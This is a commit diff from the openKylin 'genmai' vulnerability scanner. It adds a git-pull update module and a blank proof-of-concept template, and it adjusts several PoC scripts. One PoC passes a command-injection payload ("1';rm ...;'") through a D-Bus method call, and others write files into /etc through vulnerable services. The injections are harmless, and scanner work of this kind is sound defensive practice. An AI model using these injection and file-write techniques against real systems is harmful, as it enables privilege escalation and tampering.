mirror of https://gitee.com/openkylin/genmai.git
!224 新增update模块;添加poc模板;修改 部分poc输出格式
Merge pull request !224 from 宋帮诚晋/master
This commit is contained in:
commit
9ada9ed0a3
|
@ -1,5 +1,5 @@
|
|||
FormatVer: 20230306
|
||||
Id: CVE-2021-4043
|
||||
Id: CVE-2021-4034
|
||||
Belong: system
|
||||
PocHazardLevel: low
|
||||
Source: https://github.com/berdav/CVE-2021-4034
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
module UTF-8// INTERNAL ../payload 2
|
Binary file not shown.
|
@ -33,18 +33,6 @@ SiteRequests:
|
|||
Exec : ./CVE-2022-0351
|
||||
Args :
|
||||
ExpireTime: #second
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
# ??判断程序错误码 eg. "??:0"
|
||||
Inter:
|
||||
- "??:0"
|
||||
Condition: None
|
||||
|
|
|
@ -36,5 +36,9 @@ def copy_file(target_dir, src_file):
|
|||
|
||||
os.system('touch restore_all_sound_file.txt')
|
||||
copy_file("/etc", os.path.realpath("./restore_all_sound_file.txt"))
|
||||
os.system('ls -l /etc/restore_all_sound_file.txt')
|
||||
result=os.popen('ls -l /etc/restore_all_sound_file.txt')
|
||||
if result.read=="restore_all_sound_file.txt":
|
||||
print("succ")
|
||||
else :
|
||||
print("fail",result.read())
|
||||
os.system('rm restore_all_sound_file.txt')
|
|
@ -4,4 +4,6 @@ if ls /tmp/toggleCameraDevicTest.txt
|
|||
then
|
||||
gdbus call --system --dest org.ukui.kds --object-path / --method org.ukui.kds.interface.toggleCameraDevice "1';rm /tmp/toggleCameraDevicTest.txt;'"
|
||||
echo 'successfully'
|
||||
else
|
||||
echo 'fail'
|
||||
fi
|
|
@ -12,4 +12,6 @@ set_main_source("/etc", os.path.realpath('./set_main_source.txt'))
|
|||
result=os.popen('ls /etc/set_main_source.txt')
|
||||
if result.read() :
|
||||
print("successfully")
|
||||
else:
|
||||
print("fail")
|
||||
os.system('rm set_main_source.txt')
|
|
@ -0,0 +1,34 @@
|
|||
FormatVer:
|
||||
Id:
|
||||
Belong:
|
||||
PocHazardLevel:
|
||||
Source:
|
||||
SiteInfo:
|
||||
Name:
|
||||
Severity:
|
||||
Description:
|
||||
|
||||
ScopeOfInfluence:
|
||||
|
||||
References:
|
||||
-
|
||||
SiteClassification:
|
||||
CvssMetrics:
|
||||
CvssScore:
|
||||
CveId:
|
||||
CweId:
|
||||
CnvdId:
|
||||
KveId:
|
||||
Tags:
|
||||
-
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter :
|
||||
InterArgs :
|
||||
Exec :
|
||||
Args :
|
||||
ExpireTime:
|
||||
Inter:
|
||||
-
|
||||
Condition:
|
Binary file not shown.
|
@ -114,7 +114,8 @@ func ParameterParser(sSystem string,sKernel string,sWeb string,sBaseLine string,
|
|||
|
||||
if Update=="true"{
|
||||
if sSystem=="false"&&sKernel=="false"&&sWeb=="false"&&sBaseLine=="false" {
|
||||
fmt.Println("Updating")
|
||||
fmt.Println("Updating...")
|
||||
genmai.Update()
|
||||
return
|
||||
}else{
|
||||
fmt.Println("The update process does not allow other processes")
|
||||
|
|
|
@ -0,0 +1,38 @@
|
|||
package genmai
|
||||
import(
|
||||
"fmt"
|
||||
"bytes"
|
||||
"os/exec"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
func Update(){
|
||||
currentDir, err:= os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
}
|
||||
currentDir=currentDir+"/../"
|
||||
os.Chdir(currentDir)
|
||||
|
||||
currentDir, err = os.Getwd()
|
||||
if err != nil {
|
||||
panic(err)
|
||||
} else {
|
||||
cmd := exec.Command("git","pull")
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout // 标准输出
|
||||
cmd.Stderr = &stderr // 标准错误
|
||||
err := cmd.Run()
|
||||
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
|
||||
if len(errStr)!=0{
|
||||
fmt.Printf(errStr)
|
||||
}
|
||||
outStr=strings.TrimSpace(outStr)
|
||||
if err != nil {
|
||||
fmt.Println("Updte Err:", err)
|
||||
}
|
||||
fmt.Println(outStr)
|
||||
}
|
||||
|
||||
}
|
Loading…
Reference in New Issue